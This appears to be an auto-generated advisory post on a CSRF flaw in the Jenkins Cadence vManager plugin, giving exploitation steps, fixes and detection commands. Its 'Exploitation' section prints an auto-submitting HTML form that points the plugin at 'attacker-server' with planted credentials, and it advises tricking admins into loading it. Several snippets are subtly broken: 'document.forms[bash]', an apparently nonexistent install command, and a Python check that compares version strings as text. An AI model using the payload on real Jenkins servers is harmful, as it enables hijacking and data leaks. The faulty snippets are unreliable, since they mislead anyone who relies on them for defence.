Listen to this Post
How the CVE Works:
The Jenkins Cadence vManager Plugin (versions < 4.0.1-286.v9e25a740ba48) fails to implement proper CSRF protections. Attackers can craft malicious web pages or links that, when visited by an authenticated Jenkins user, force unintended requests to the plugin’s endpoints. This allows unauthorized connections to attacker-controlled URLs with manipulated credentials. Since Jenkins sessions persist, the plugin processes these forged requests as legitimate, leading to potential data leaks or unauthorized actions.
DailyCVE Form:
Platform: Jenkins Plugin
Version: < 4.0.1-286.v9e25a740ba48
Vulnerability: CSRF
Severity: Moderate
Date: May 16, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payload:
<form action="http://target-jenkins/jenkins/plugin/cadence-vmanager/connect" method="POST"> <input type="hidden" name="url" value="http://attacker-server" /> <input type="hidden" name="username" value="attacker" /> <input type="hidden" name="password" value="pwned" /> </form> <script>document.forms[bash].submit();</script>
2. Triggering CSRF:
- Host payload on a compromised site.
- Trick authenticated Jenkins admins into visiting it.
Protection:
1. Update Plugin:
jenkins-plugin install cadence-vmanager --version 4.0.1-286.v9e25a740ba48
2. Enable CSRF Tokens:
- Configure Jenkins Global Security to enforce CSRF protections.
3. Network Controls:
Restrict Jenkins to internal networks iptables -A INPUT -p tcp --dport 8080 -s trusted-ip -j ACCEPT
Detection:
1. Audit Logs:
grep "POST /jenkins/plugin/cadence-vmanager" /var/log/jenkins/access.log
2. Plugin Integrity Check:
jenkins-plugin list | grep "cadence-vmanager"
Mitigation Script:
Check for vulnerable versions
import requests
response = requests.get("http://jenkins-url/pluginManager/api/json?depth=1")
plugins = response.json()["plugins"]
for plugin in plugins:
if plugin["shortName"] == "cadence-vmanager" and plugin["version"] < "4.0.1-286":
print(f"Vulnerable plugin detected: {plugin['version']}")
References:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
